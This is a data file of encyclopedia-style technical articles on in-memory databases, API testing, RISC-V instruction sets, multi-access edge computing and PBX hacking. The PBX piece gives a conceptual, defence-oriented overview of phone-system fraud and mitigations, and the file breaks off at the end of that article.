{"text":"# In-Memory Database\n\n## Summary\n\n\nAn **In-Memory Database (IMDB)**, also called Main Memory Database (MMDB), is a database whose primary data store is the RAM. This is in contrast with traditional databases which keep their data in disk storage and use RAM as a buffer cache for frequently/recently used data.\n\nIMDB has gained traction in recent times because of increasing speeds, reducing costs and growing size of RAM devices, combined with powerful multi-core processors. Since only RAM is accessed and there is no disk operation for an IMDB query, speeds are extremely high.\n\nHowever, RAM storage is volatile. So there will be data loss when the device loses power. To overcome this, IMDB employ several techniques such as checkpoints, transaction logging, and non-volatile RAM. \n\nAmong commercially available IMDB is SAP HANA. Open source options are Redis, VoltDB, Memcached, and an extension of SQLite.\n\n## Discussion\n\n### What's the context for the growing interest in IMDB?\n\nFrom 1995 to 2015, RAM got 6000 times cheaper. Prior to that, disk drives were the main option to store databases. Disks were great for sequential access but poor for random access since lot of time was spent in rotating the disk and seeking the exact location. \n\nMeanwhile, computing power has increased via faster clocks and multi-core processors. Networking speeds have also gone up. However, disk access speeds have not gone up fast enough. In fact, they've become the bottleneck in computing systems. Worse still, the amount of data being generated has grown exponentially. There's also a need to analyse all this data (via Machine Learning) in almost real time. \n\nThis is where in-memory databases become suitable. They're now affordable enough to store large amounts of data, particularly compressed columnar data. They're fast enough for real-time analytics. We can continue to use disks where sequential access is desired, such as for logging. The notable database scientist Jim Gray once supposedly said, \n\n> Memory is the new disk\n\n\n### What are the key features of IMDB? How do they vary from disk-based RDBMS?\n\nDisk access is sequential. In disk-based DBs, the seek time to locate records on the physical disk is the biggest contributor to query time. In an IMDB, since entire data is in memory, this burden is entirely eliminated. \n\nWhile RAM is volatile, data persistence is achieved through multiple methods and it’s done very efficiently. These safeguard from data loss due to power failure. Since only a minority of DB operations are data change operations (about 10-15%), disk operations are minimal.\n\nMost IMDB support columnar data storage, where table records are stored as a sequence of columns, in contiguous memory locations. This speeds up analytical querying greatly and minimizes CPU cycles. When data is stored in columnar form, column-wise compression techniques (such as sparse columns) are used to minimise memory footprint. Moreover, there's less dependence on indexing. IMDB delivers performance similar to having an index on every column, but with much less transactional overhead. \n\n\n### What are the popular applications of IMDB?\n\nIMDB works well for applications that require very fast data access, storage and manipulation. Real-time embedded systems, music and call databases in mobile phones, telecommunication access networks, programming data in set-top boxes, e-commerce applications, social media sites, equity financial services are the most prevalent applications of in-memory databases. IMDBs have also gained a lot of traction in the data analytics space. \n\n\n### How do the performance characteristics compare between IMDB and traditional DB?\n\n \n\n    + **CPU and Memory** - Accessing data in memory is much faster than writing to/reading from file systems. IMDB design is simpler than on-disk databases, so they have significantly lower memory/CPU requirements. Even if a machine hosting an RDBMS has enough memory on board to fit the entire data, IMDB would be faster. That's because it performs fewer copy operations and has more advanced in-memory data structures, optimized for working with memory. However, IMDB scales poorly to multiple CPU cores.\n    + **Data Query and Update functions** - Applications requiring random data access under 1ms (such as online/real-time applications) benefit from IMDB. If access time over 100ms is acceptable, traditional RDBMS works fine. For sequential access, the difference is even more pronounced. Persistence operations don’t affect data update times in IMDB since they happen offline.\n    + **Size constraints** - Generally, not more than 200-300GB RAM is installed on a machine in order to keep machine start-up time acceptable. So when DB size is in TB range supporting millions of transactions per second, memory sharding is done to partition one logical DB into multiple physical DBs.\n\n### What are the ways in which persistence is supported in IMDB?\n\nThere are many methods by which IMDB might persist the data state on disk. End goal is to ensure complete recovery of data but without compromising on query speeds.\n\n    + **Transaction Logs** - Each data update is applied to the IMDB and also on a transaction log on disk. Change entries done at the end of the append-only log file. When the file size rolls over, its contents are archived.\n    + **Checkpoint Images** - Checkpoint files contain an image of the database on disk. Some IMDB use dual checkpoint files for additional safety, in case the system fails while a checkpoint operation is in progress. For recovery, the database checkpoint on disk is merged with the latest transaction log entries.\n    + **High Availability** - To protect against memory outages in data centers, the data cluster is replicated asynchronously into a second read-only cluster. If outage occurs, hot swap gets triggered to configure the secondary as primary.\n    + **Non-volatile RAM** - Using battery powered RAM devices or supercapacitors, all write operations can be persistent even after power loss. These are slightly slower than DRAM, but much faster than RDBMS disk operations.\n\n### What are some commercial IMDB products?\n\nWithout being exhaustive, we describe three commercial IMDB products:\n\n    + **SAP HANA** - In-memory, column-based data store from SAP. Available as local appliance or cloud service. The in-memory data is CPU-aligned, no virtual expensive calculation of LRU, logical block addresses, just direct (pointer) addressing of data. Supports server scripts in SQLScript, JSON and R formats. Good support for predictive analytics, spatial data processing, text analytics, text search, streaming analytics, graph data processing, and ETL operations. Guarantees microsecond response and extremely high throughput performance.\n    + **Oracle TimesTen** - In-memory OLTP RDBMS acquired by Oracle. Guarantees microsecond response and extremely high throughput performance. Provides application level data cache for improved response time. High availability through replication.\n    + **eXtremeDB** - Combines on-disk and in-memory data storage in a single embedded database system. It can be deployed as an embedded database system or elastically scalable client/server distributed database.\n\n### What are some open source IMDB platforms?\n\nHere are some open source IMDB platforms to consider:\n\n    + **Apache Ignite** – Java-based middleware that forms an in-memory layer over any existing DB. Can work in a single or distributed environment. Seamless integration with MapReduce and Hadoop systems.\n    + **Altibase** - Hybrid database that combines an in-memory database and an on-disk database into a single product to achieve the speed of memory and the storage capacity of disk.\n    + **SQLite** - Instruct an SQLite database to exist purely in memory using the special filename `:memory:` instead of the real disk filename.\n    + **Redis** - Key-value store based system with support for key data structures. Schema free. Data durability feature is optional. Good programming language support.\n    + **VoltDB** - Traditional RDBMS with schema support. Works using Java Stored Procedures that applications can invoke through JDBC. The company is collaborating with Samsung for Scaling In-Memory Data Processing with Samsung DRAM/SSD devices.\n\n### What are the use cases where an IMDB is not suitable?\n\n Volatile memory in affordable and servers with support for 24TB of RAM are now available. But IMDB cannot replace the traditional RDBMS in all scenarios. Following are some of the use cases where IMDB is not suitable when:\n\n    + **Persistence is critical** - Applications with confidential/critical data undergoing frequent updates might be at risk in IMDB. Unless persistence features are in the IMDB, there's risk of data loss during power failure.\n    + **Very small scale data** - Small and medium enterprises can simply run on low-cost server with acceptable performance.\n    + **Memory-intensive applications** - When IMDB is used, the bulk of RAM is going be occupied by the DB itself. So if the application itself requires high memory (such as 3D games, live streaming), then memory costs will rise significantly.\n    + **Very large scale data applications** - Memory requirements would be prohibitively expensive, hence not recommended.\n    + **Non-mission-critical operations** - Backend operations or applications where data can be batch processed offline don't require millisecond query response times of IMDB.\n\n\n## Milestones\n\n1970\n\nThe term \"relational database\" is invented by E. F. Codd at IBM in 1970. \n\n1978\n\nIBM's IMS/VS FastPath is one of the earliest in-memory engines. \n\n1980\n\nIn telecom and defence domains, some companies start using in-memory databases. However, these are internal to those who used them and generally not available for purchase. \n\n1992\n\n**Oracle 7** version supports data buffers where a snapshot of a data block would be taken from disk and stored in RAM for faster access. \n\n1997\n\n**TimesTen** releases its first version in-memory database. TimesTen is later acquired by Oracle. \n\n2009\n\n**Redis**, an in-memory data structure project, makes its first release with a BSD license. It becomes one of the most popular key-value store databases. \n\n2012\n\nEarly versions of **SAP HANA** were present from 2005. In 2012, SAP promotes its commercial version for cloud based applications. HANA now includes a business suite of applications covering ERP and CRM domains under one umbrella. \n\n2014\n\nOracle releases its **Oracle 12c** cloud RDBMS business suite with in-built support for in-memory DB operations.","meta":{"title":"In-Memory Database","href":"in-memory-database"}}
{"text":"# API Testing\n\n## Summary\n\n\nApplications today rely on APIs. Whether it's a web client requesting a service from a web application server, or one microservice requesting data or operation from another microservice, APIs play a key role. Via APIs, developers give others access to their service. \n\nAt the same time, organizations are embracing Agile methodology and making frequent product releases. It's therefore important to test these APIs. \n\nAPI testing is useful to validate a solution and to find errors. API testing complements unit testing and end-to-end testing. It enables more efficient use of test resources. Problems can be caught earlier in the development cycle.\n\nHTTP RESTful API is the most widely used architecture. However, this article describes API testing in general and is therefore relevant to other API types such as SOAP or GWT RPC.\n\n## Discussion\n\n### Do I need API testing for my application?\n\nA web application typically consists of three layers: user interface, business logic and database. End-to-end testing would test all layers of the app but it's also slower. Problems are hard to isolate. Business logic may need many tests, for which we will end up unnecessarily exercising the UI in the same way. Moreover, end-to-end testing can begin only when all layers are available. API testing solves this problem by bypassing the UI. It executes tests at the service or business layer. \n\nWhile unit tests are typically written by developers and take a white-box testing approach, API tests are usually written by the QA team and view the system under test (SUT) as a black box. However, not everyone agrees on this division of roles. Some feel that developers should do API testing since they created the APIs. Others say that since APIs specify a contract, they need to be validated by testers. \n\nWhile unit tests exercise the business logic directly, API tests go through the API layer. \n\n\n### What's the flow for a typical API test?\n\nAn API test first calls an API endpoint, which is really a URL. HTTP headers are set as required for the test. The type of HTTP request may be GET, POST, PUT, DELETE, etc. With each of these, the necessary data is sent to the API endpoint. \n\nOnce a response is received, the response code and contents are validated. HTTP headers that specify access control, content type, or server might be validated. \n\nIn a sequence of API calls, some parts of a response may be used for the next API call. For example, a POST request might return an identifier. A subsequent GET request might verify that the response includes this identifier. \n\nAPI testing is generally black-box testing. We don't look at what happens behind the API server. We only validate the responses. But sometimes we may want to validate if an API request triggers another API request or updates the database. For example, an API request may trigger a request to Google Maps API. During testing, we could mock Google Maps API and validate the request made to the mocked API. \n\n\n### What are the possible benefits of API testing?\n\nSince data is exchanged in standard formats (XML, JSON), API testing is language agnostic. Any programming language can be used to create API tests. API responses can be easily validated since most languages have libraries to compare data in these formats. \n\nEnd-to-end testing can't be done unless all parts of the application are ready. With API testing, the business logic can be tested early on even when the GUI is still under development. This also facilitates easier end-to-end testing at a later stage. \n\nBecause APIs are usually well specified, API testing leads to high test coverage. Moreover, UI changes often during development. API tests based on well-defined specifications are easier to maintain. \n\nAPI testing is faster than UI testing. More tests can be performed in a shorter time. Releases can happen faster. When an API test fails, it's easier to find the source of failure. API testing also enables automation of CI/CD pipelines. \n\n\n### What types of tests are possible at the API layer?\n\nA wide variety of tests can be done at the API layer, both functional and non-functional:  \n\n    + Validation and functional tests ensure that APIs behave as desired and deliver specific functionalities.\n    + Security and penetration tests would consider user authentication or authorization, threat detection, and data encryption.\n    + Load testing checks app performance at normal and peak loading conditions, or if throttling is correctly applied at theoretical maximum load. For example, we may want to know how many API requests can be served per minute with a specific response time.\n    + Tests can be designed to check for runtime errors, resource leaks and general monitoring of the app.\n    + Fuzz tests include random data in API requests. App is expected to be robust against such requests.\n    + UI events and interactions trigger API calls. Thus, UI testing is also an approach to API testing.\n    + Since APIs interface various services, they play a key role in integration testing. However, they're also useful in end-to-end testing to validate dataflows across services.\n\n### What are some best practices for API testing?\n\nBefore creating API tests, document and understand the API. This should include API purpose, application workflows, supported integrations, and so on. \n\nSome tools for API testing include ReadyAPI, AcceIQ, Katalon, SoapUI, Postman, Apigee, JMeter, REST-assured, and more. Manual API testing could be a starting point. Tools such as Postman can help create tests manually, save them, and replay them later. For automated API testing, adopt an automation framework such as Robot Framework. \n\nCreate client code and components that can be reused across many tests. Write clear tests so that debugging and maintenance is easier. Organize each test into three parts: setup, execution and teardown. It should be possible to configure tests for different environments or customer requirements. \n\nWrite tests in a modular fashion. For example, user authentication and password change can be two separate tests, and the latter can be made dependent on the former. \n\nMeasure how long each test takes. This can help in scheduling tests. Schedule tests to execute every day. When a test fails, make the failure state explicit in the response or report. Test system should record failures for later analysis. \n\n## Milestones\n\n2000\n\nWhile APIs existed in earlier decades, the early 2000s mark the birth of modern APIs. During this time companies such as Salesforce, eBay and Amazon popularize the use of APIs. In these APIs, the use of XML data format becomes common. \n\nDec  \n2009\n\nMike Cohn makes the point that test automation must be done at the correct level. He identifies three levels: unit, service and UI. He visualizes these into a **test automation pyramid**. We wish to do lots of unit testing and as little UI testing as possible. API testing happens in between and avoids unnecessary repetitions of the same UI actions. Although he calls the middle layer the service layer, it's not restricted to just service-oriented architecture (SOA). \n\n2018\n\nSince API specifications are formal, and with the recent progress of Natural Language Processing (NLP), some tools such as Functionize explore the possibility of automatically generating API tests from the specifications. This takes test automation to another level so that human testers can focus on exploratory and security tests.","meta":{"title":"API Testing","href":"api-testing"}}
{"text":"# RISC-V Instruction Sets\n\n## Summary\n\n\nThe design of RISC-V instruction sets is modular. Rather than take the approach of a large and complex monolith, a modular design enables flexible implementations that suit specific applications. \n\nRISC-V defines base user-level integer instruction sets. Additional capability to these are specified as optional extensions, thus giving implementations flexibility to pick and choose what they want for their applications. The specifications of the base ISA has been frozen since 2014. Some of the extensions are also frozen while many others are being defined.\n\n## Discussion\n\n### Could you give an overview of RISC-V instruction set?\n\nRISC-V comprises of a base user-level 32-bit integer instruction set. Called **RV32I**, it includes 47 instructions, which can be grouped into six types: \n\n    + R-type: register-register\n    + I-type: short immediates and loads\n    + S-type: stores\n    + B-type: conditional branches, a variation of S-type\n    + U-type: long immediates\n    + J-type: unconditional jumps, a variation of U-typeRV32I has `x0` register hardwired to constant 0, plus `x1-x31` general purpose registers. All registers are 32 bits wide but in RV64I they become 64 bits wide. RV32I is a **load-store architecture**. This means that only load and store instructions access memory; arithmetic operations use only the registers. User space is 32-bit byte addressable and little endian. \n\nCorrespondingly, **RV64I** is for 64-bit address space and **RV128I** is for 128-bit address space. The need for RV128I is debatable and its specification is evolving. We also have **RV32E** for embedded systems. RV32E has only 16 32-bit registers and makes the counters of RV32I optional. \n\n\n### What RISC-V extensions have been defined?\n\nRISC-V defines a number of extensions, all of which are optional. Some of them are frozen and these are noted below:\n\n    + M: Integer multiplication and division.\n    + A: Atomic.\n    + F: Single-precision floating point compliant with IEEE 754-2008.\n    + D: Double-precision floating point compliant with IEEE 754-2008.\n    + Q: Quad-precision floating point compliant with IEEE 754-2008.\n    + C: Compressed instructions (16-bit instructions) to yield about 25-30% reduced code size. \"RVC\" refers to compressed instruction set.Among the evolving or future extensions are L (decimal float), B (bit manipulation), J (dynamically translated languages), T (transactional memory), P (packed SIMD), V (vector operations), N (user-level interrupts), and H (hypervisor support). \n\nWhen multiple extensions are supported, that ISA variant can be described by concatenating the letters; such as, RV64IMAFD. To represent the standard general purpose ISA, \"G\" is defined as a short form for \"IMAFD\". \n\nRV32I uses one-eighth of the encoding space. This means there's plenty of room for custom extensions. \n\n\n### What are pseudo-instructions?\n\nTo ease the job of an assembly language programmer or a compiler writer, some base instructions can be represented by what are called **pseudo-instructions**. For example, a no operation is `addi x0, x0, 0` for which `nop` is the pseudo-instruction. Likewise, branch if zero is `beq rs, x0, offset` for which `beqz rs, offset` is the pseudo-instruction. \n\n\n### What are privileged instructions?\n\nApplication code usually runs in user mode or **U-mode**. RV32I and RV32G are user mode ISAs. Two more modes are available:\n\n    + **Machine mode (M-mode)**: For running trusted code. This is the most privileged mode in RISC-V and has complete access to memory, I/O and anything else to boot and configure the system. It's most important feature is to handle synchronous exceptions and interrupts. The simplest RISC-V microcontrollers need to support only M-mode.\n    + **Supervisor mode (S-mode)**: For supporting operating system needs of say Linux, FreeBSD or Windows. This is more privileged than U-mode but less privileged than M-mode. Where OS needs to process exceptions/interrupts, *exception delegation* is used to pass control to S-mode selectively. S-mode also provides a virtual memory system.\n\n### Could you describe some technical considerations in the design of RISC-V instructions?\n\nDesign of RISC-V ISA considered cost, simplicity, performance, implementation-independence, room for growth, program size, and ease of use. \n\nRV32I includes generously 32 integer registers, making it easier for compilers to use them more often than memory. By keeping instructions simple, RISC-V instructions typically require only one clock cycle and deliver predictable performance. For dynamic linking, it adopts PC-relative branches. \n\nInstructions offer three register operands, avoiding the extra move required by ISAs with only two register operands. These are also in the same positions so that access can begin before decoding the instruction. \n\nThe design was also informed by mistakes of other ISAs. For example, initial Alpha ISA did not have byte or half-word load/store. The shift operation in ARM can be seen as an overdesign. Delayed branches of MIPS and SPARC affected their ISAs. ARM Thumb and MIP16 added 16-bit instructions in hindsight. \n\n\n### Are RISC-V instructions without precedents?\n\nWhen we consider the 122 instructions of RV32G, only 6 of them are without precedents. 98 instructions appear in at least three prior ISAs. 18 instructions appear in one or two prior ISAs. This study included 18 prior RISC ISAs, including the CDC 6600 dating back to 1964. \n\nIt's been commented that one cannot design a flawless ISA, nor an ISA with flaws doomed to fail. \n\n## Milestones\n\n1981\n\nRISC-I is defined by David A. Patterson at UC Berkeley as an alternative to increasingly complex instructions of the computers of the day. This is followed by RISC-II (1983), SOAR (1985) and SPUR (1986) projects. \n\n2010\n\nResearchers at the UC Berkeley conceive RISC-V as the fifth generation of their RISC design from the 1980s. \n\nMay  \n2011\n\nVersion 1.0 of the RISC-V base user-level ISA is published as volume 1. This version is not frozen. Volume 2 is for supervisor-level ISA. \n\nMay  \n2014\n\nVersion 2.0 of the user-level ISA is published. This is a frozen version. \n\nMay  \n2017\n\nVersion 2.2 of the user-level ISA is published. This does not modify the ISA base plus extensions IMAFDQ version 2.0. Extension C is frozen in this version.","meta":{"title":"RISC-V Instruction Sets","href":"risc-v-instruction-sets"}}
{"text":"# Multi-Access Edge Computing\n\n## Summary\n\n\nIn traditional cloud computing, apps and services are hosted in data centres. Devices connect to the data centres via multiple hops traversing the internet. If devices are smartphones, they probably connect via the RAN and the CN of the mobile network operator. Multi-Access Edge Computing (MEC) brings apps and services closer to the network edge. MEC also exposes real-time radio network and context information. The benefit is better user experience, network performance, and resource utilization. \n\nMEC is just one among many edge computing paradigms, others being cloudlets, fog computing and Mobile Cloud Computing (MCC). MEC is perhaps more popular since it's standardized. ETSI is the main organization standardizing MEC. \n\nOne possible definition is that, \n\n> MEC offers application developers and content providers cloud-computing capabilities and an IT service environment at the edge of the network.\n\n## Discussion\n\n### What are the benefits of MEC for users, service providers and network operators?\n\nMEC enables many use cases that require high bandwidth, ultra-low latency and high device density. Users get a richer experience. Safety is improved for critical applications such as industrial automation and self-driving vehicles. If 5G promises many novel use cases, it's MEC that delivers them. \n\nMEC helps network operators reduce their CAPEX by purchasing general-purpose equipment rather than specialized telecom equipment. By reducing bandwidth requirements between RAN and CN, OPEX is also reduced. Due to virtualization, reliability and scalability is improved. Heterogenous configurations can be supported. Network entities can be rapidly deployed leading to just-in-time service initiation. Network performance can be optimized by adapting to changing radio conditions. Operators can offer innovative applications and unlock new revenue streams by safely opening up their networks to third-parties. \n\nTraditionally, it made sense only for big service providers such as Netflix to deploy edge servers for their traffic. With MEC, even smaller service providers and independent software vendors can get their applications to the edge on multi-vendor platforms. This is mainly because MEC is standardized with open interfaces and protocols. \n\n\n### What are some use cases that can benefit from MEC?\n\nMEC brings proximity, ultra-low latency, high bandwidth and virtualization. These characteristics can benefit **many use cases**: data/video analytics, location tracking services, augmented reality, IoT, local hosting of video content, data caching, remote surgery, patient management, radio-aware video optimization, autonomous vehicles, and more.  \n\nAs more and more applications become **virtualized**, MEC will become increasingly important. Applications can be dynamically deployed, scaled and moved between the cloud and the edge. \n\nOn college campuses, business parks, hospitals or factories **private/local networks** can be deployed. For **mission critical communications**, MEC can continue delivering services even when backhaul communications fail. \n\n**IoT applications** require ultra-low latency, mobility management, geo-distribution, location awareness and scalability. MEC is able to provide these for diverse IoT applications such as smart home, smart city, smart agriculture, smart energy, healthcare, wearables and industrial internet. \n\n\n### Which are the main enablers for MEC?\n\nMEC is made possible by the following technologies: \n\n    + **Network Functions Virtualization (NFV)**: NFV is about deploying network functions in virtual environments rather than with dedicated hardware. MEC reuses the NFV Infrastructure (NFVI) and NFV Management and Orchestration (MANO). In other words, MEC platform and applications appear as VNFs and run on the same infrastructure as RAN or CN VNF components.\n    + **Software-Defined Networking (SDN)**: Involves separating the control plane and user plane, logically centralizing the control plane and programming the control plane in a more flexible manner using APIs. An SDN controller can be in the MEC server. SDN brings scalability, availability, resilience, interoperability and extensibility to MEC operation.\n    + **Service Function Chaining (SFC)**: Built from NFV, operators can use SFC to interconnect multiple NFs (virtual or physical) in a specific order to achieve end-to-end services and steer traffic flows.\n    + **Network Slicing**: A network slice is a logical network set up for specific performance requirements. Using SDN/NFV, slices can be dynamically instantiated, modified or terminated.\n    + **Information-Centric Networking (ICN)**: Replaces client-server model of the internet with publish-subscribe model involving caching, replication and optimal content distribution.\n\n### Could you describe ETSI's MEC reference architecture?\n\nETSI's MEC reference architecture has the following main entities: \n\n    + **MEC Host**: Contains MEC platform. Virtualized infrastructure providing compute, storage, and network resources for running MEC applications. Routes traffic among applications, services and access/local/external networks. Executes traffic rules received by MEC platform.\n    + **MEC Application**: Runs on a Virtual Machine (VM) or container on the MEC host. Configured and validated by MEC management.\n    + **MEC Platform**: Has essential functionality needed to run MEC applications. Enables applications to discover, advertise, offer or consume MEC services. Platform can also provide services. Receives traffic rules from MEC platform manager. May be interfaced with an API gateway for apps to access MEC service APIs.\n    + **MEC Management**: Comprises of system-level and host-level management. The former oversees the complete MEC system and includes Multi-Access Edge Orchestrator (MEO) as a core component. The latter manages a particular host and its applications and includes MEC Platform Manager (MEPM) and Virtualisation Infrastructure Manager (VIM).The reference architecture contains three groups of reference points among entities: **Mp** for platform functionality, **Mm** for management, and **Mx** for external entities. \n\n\n### What are the different MEC deployment models?\n\nMEC servers can be deployed at base station sites, aggregation points in the radio network, mobile EPC sites or regional data centres. A distributed data centre or a gateway at the edge of the CN could be MEC deployment sites. There's a trade-off: closer to the edge, greater are the benefits but so is the cost of deploying at many locations. It's therefore expected that most operators will initially deploy at a few EPC sites and central offices. As more applications emerge demanding 1ms latency, operators will start deploying closer to the edge. To reduce CAPEX, operators may even share MEC infrastructure. \n\nAn MEC server can be indoors at a multi-RAT cell aggregation site serving an enterprise; or it could be outdoors for public coverage scenarios such as stadiums and shopping malls. Ultimately, deployment depends on scalability, physical constraints, performance criteria, cost of deployment, etc. Some MEC services may be unavailable in some deployment scenarios. \n\nVendors offer equipment optimized for specific deployment locations. For example, GIGABYTE's H242-Z10 is for base station tower whereas G242-Z10 is for aggregated sites. \n\n\n### Could you mention some resources to learn more about MEC?\n\nMEC specifications from ETSI are available for download via a search feature. \n\nApart from the specifications, via the DECODE Working Group, ETSI provides API implementations, testing, a proof-of-concept framework and a sandbox environment. This makes it easier for vendors, operators and application developers to implement MEC. \n\nA beginner can start with ETSI's white papers on MEC. There's also an MEC blog for latest updates.\n\nThe main MEC wiki page is an entry point for MEC ecosystem, testing, sandbox, proof-of-concept updates, deployment trials and hackathons. The MEC Ecosystem page lists MEC applications and solutions. \n\nAmong the many open source projects related to edge computing, two important ones are Akraino and EdgeX Foundry. These come under LF Edge, an umbrella organization under the Linux Foundation. A useful resource is LF Edge's own Wiki page.\n\n## Milestones\n\nSep  \n2014\n\nETSI forms the Mobile Edge Computing Industry Specification Group (ISG). \n\nDec  \n2014\n\nThe **first meeting** of MEC ISG takes place and is attended by 24 organizations, including network operators, vendors, technology suppliers and Content Delivery Network (CDN) providers. \n\n2015\n\nETSI's MEC ISG publishes two specification documents: *Proof of Concept Framework* and *Service Scenarios*. The group develops three PoC scenarios. These relate to video optimization and orchestration by adapting to RAN or radio conditions. \n\nSep  \n2016\n\nAt the MEC World Congress, at the ETSI MEC PoC Zone, six **multi-vendor proofs of concept** are demonstrated based on the MEC PoC framework. It's hoped that such PoCs lead to a diverse and open MEC ecosystem. \n\n2017\n\nETSI renames MEC from *Mobile Edge Computing* to *Multi-Access Edge Computing*. The new name reflects its relevance to mobile, Wi-Fi, and fixed access networks.  \n\n2018\n\nETSI's MEC group works on **Phase 2 activities** to address charging, regulatory compliance, mobility support, containerization, support of non-3GPP mobile networks, automotive vertical, and more. This year sees approval of 12 MEC PoCs and 2 MEC Deployment Trials (MDTs). A new working group named *DECODE* is also created to focus on deployment and ecosystem development. \n\nJun  \n2019\n\n**Akraino** Release 1 is released with ten \"ready and proven\" blueprints. Blueprints are tested by Akraino community members on real hardware. They serve as an easy starting point for real-world edge implementations and edge use cases. Akraino comes under LF Edge, an umbrella organization founded in January 2019 to bring together multiple edge-specific projects. In Release 3 (Aug 2020), **MicroMEC** is specified. By Release 4 (Feb 2021), Akraino has 27 blueprints.","meta":{"title":"Multi-Access Edge Computing","href":"multi-access-edge-computing"}}
{"text":"# PBX Hacking\n\n## Summary\n\n\nPBX (Private Branch Exchange) is a private telephone network that handles an organization's internal and external communications. For external connections, the PBX connects to the Public Switched Telephone Network (PSTN) using a Telecommunication Service Provider (TSP) or an Internet Service Provider (ISP). \n\nHackers target PBX networks in ways that can impact the company. Using the PBX, they might place long-distance calls for free, leaving the company to pay the bills. Hackers might steal data or simply render the network unusable. Such hackers who specialize in hacking phone systems are called *phreakers*. \n\nPBX hacking was traditionally done on analogue PBX systems using various methods. When IP PBX systems were introduced in the 1990s, hacking methods were adapted to these newer networks. There are many best practices that companies can follow to mitigate the dangers of PBX hacking.\n\n## Discussion\n\n### Why is it important to know about PBX Hacking and its role worldwide?\n\nPBX is a system connecting the communication lines such as switches, hubs, telephone adapters and routers. There are different types of PBX Systems from which digital PBX or IP PBX/VoIP PBX is preferred in the business phone systems. \n\nAccording to the survey done by CFCA(Communications Fraud Control Association), around 2013-2017the cases of PBX and IP-PBX was the top five frauds that you can see in the table given in fig.1. In France, the PBX toll fraud losses in companies estimate $220 million a year. Even before 2013, PBX Hacking cases has been there since the switchboards introduction to the world.\n\nTom Mulhall, in his paper “Where have all the hacker gone”,1997, states that though it might look like hacking cases has deteriorated while they have migrated from computer hacks to PBX/Voicemail attack. \n\n\n### How does PBX Hacking affect the company or an organisation?\n\nPBX Hacking/PBX Toll Fraud or PBX Fraud are some terms mentioned concerning phreakers cracking loopholes of the PBX System.\n\nIn different types of PBX Systems, some functions are the same like managing calls with also being connected with companies' systems that contain sensitive data(call records of customers). The system hacked through viruses or worms results not only the loss of sensitive data but an extra charge to fix the system. Also, there’s a possibility where the hacker can listen to phone conversations or voicemails or shut down PBX entirely. \n\nAfter hacking PBX, phreakers usually make free long-distance calls or run call-sell operations from phone booths or private phones which builds a mode to generate funds illegally. By offering the calls for less than the actual cost to dial directly, the result is the companies owning that PBXs end up paying the bill. \n\nIt is also difficult to track these call-sellers as they hide their activities from law enforcement officials by PBX-looping(using one PBX to place calls out through another PBX). \n\n\n### What are the ways the PBX System can be hacked?\n\nDISA and voice mail are classic ways for phreakers to penetrate the organisation PBX System. Also, DoS acts as one of severe attacks towards the PBX System. \n\n    + Brute force attack: It is a trial and error method until the password or log-in credentials or encryption keys.\n    + DISA and Voice Mails: DISA(Direct Inward System Access) is a service provided by PBX where the user’s dials into PBX and then give information for authorisation to use PBX service dial local user. The authorisation process comprises the user’s account, user’s password and callerID. Fraudsters with tricks and hacks try to obtain this information and retrieve it, which then helps them to use PBX to generate outbound calls. While in the voicemail, fraudsters plan to reach voicemail boxes, obtain passwords and retrieve them to gain access to the system.\n    + Denial of Service Attack(DoS): The denial of service attack makes telephony service unavailable by causing physical damage or software strategies and denying telephones to place or receive calls. It works by flooding networks with fake traffic or server request generated by machines compromised by viruses and malware.\n\n### What are the other famous ways for the PBX System to be hacked?\n\n    + Internal Enemy: One such example to comprehend the internal enemy is when the employee of that organisation forwards their work number to their private number either overseas or in their country, where for per call the organisation foot up the bill. In some instances, revenge (due to a poorly treated employee) becomes the cause for them to turn against the company.\n    + Poor Port Management: A poorly protected port linked with PBX can offer hackers a chance to create a “back door” into critical assets such as customer databases and business applications. Also giving them a path to target modem.\n    + Social Engineering: It is a technique where hackers just by impersonating or manipulating the person or the entire organisation get the sensitive data. One such example is Frank Abagnale, who is known as the infamous social engineer in history.\n\n### How the ‘SIP’ has an impact on IP-PBX?\n\nSIP(Session Initiation Protocol) is a protocol that initiates a session in an IP network while aiming to provide functions(similar to traditional PSTN) over the internet. It deals with signalling messages, address resolution, user management and packet transfer and services and is as vulnerable as HTTP or any available service which is public on the Internet. \n\nIt can be easily hacked through DoS attacks where :\n\n‘SIP Register Flooding’ attack happens to create traffic by sending streams of SIP REGISTER messages and ‘Call Flooding’ attack which is a way of forming traffic by sending streams of the SIP INVITE requests. These attacks make it difficult to get any legitimate calls.\n\nSIP Injection attacks are also a way where phreaker exploit the SIP by injecting malicious code where Buffer Overflow attack, RTP(Real-Time Transport) Injection Attack and SQL Injection Invites are some examples.\n\nDue to SIP not enforcing any SIP source message validation mechanisms, it creates an opportunity for the attackers to have their request processed without authentication, making a path for spoofing or modification of the SIP control messages.\n\n\n### How to analyse whether we have become the victim of PBX Hacking?\n\nThere are some indications to notify the victim whether they have been hacked:\n\n    + Overload occurring in the incoming and outgoing trunks.\n    + Sudden change of call patterns mostly the increase in international calls.\n    + Any kind of lengthy calls or calls to premium rate services during late-night hours or weekends and holidays.\n    + Any strange messages left in the voicemail boxes.\n    + Any signs of war dialing like short calls or wrong number calls or any sign of social engineering.\n    + Any kind leakage found with respect to the business secrets and sensitive data indicating that the phone conversations are intercepted(hacker listened to the phone conversation).And lastly, webcams and microphones activate automatically in the case of VoIP systems. \n\n\n### What can we do to prevent them?\n\n    + A regular audit must happen in the organisation to assess its vulnerability to fraudulent exploit.\n    + In case of securing DISA, Call Detail Recording help in identifying call activity linked with individual authorisation codes, while also keeping limited print copies of these records.\n    + Always change security codes regularly, and give access limit of the administration of authorisation codes to some carefully chosen employees of the company or organisation.\n    + With help of control functions within the firewall control the traffic covering the subsystem, which will protect network resources and confidentiality of all traffics, also encrypting signal and media streams will increase the security level.\n    + A strong Firewall to evaluate SIP message contents for attacks and block non-SIP traffic.\n    + Regular maintenance and analysis of logs.\n    + Give PBX users Security advice like never leaving phone-set unlocked, not sharing any type of security codes and regular change of security codes should be done and never having any kind of sensitive data in the phone’s memory.\n    + Having strong passwords are always recommended.\n    + Channels or services that are not in use should be disabled.\n    + Further securing system VPN (in case of VoIP PBX) for remote access and enable endpoint filtering.\n\n### What techniques or tools do PBX vendors use to mitigate hacking?\n\nSome of the PBX vendors have already working on providing any network security in their systems such as Network firewalls, DDoS(Distributed Denial of Service) prevention, network posture assessments and encryption during data transfer, while at the time while purchasing they try to brief all the risk of hacking and the ways you can avoid it.\n\nThere are certain analyses to see whether the provider is doing their part such as checking for accreditations(certificates to show whether the industry meets the security standards) like TEC certification, and prevention measures in the system to prevent hacking, also whether the regular updates are available and are they up to date and also look for call encryption. \n\n## 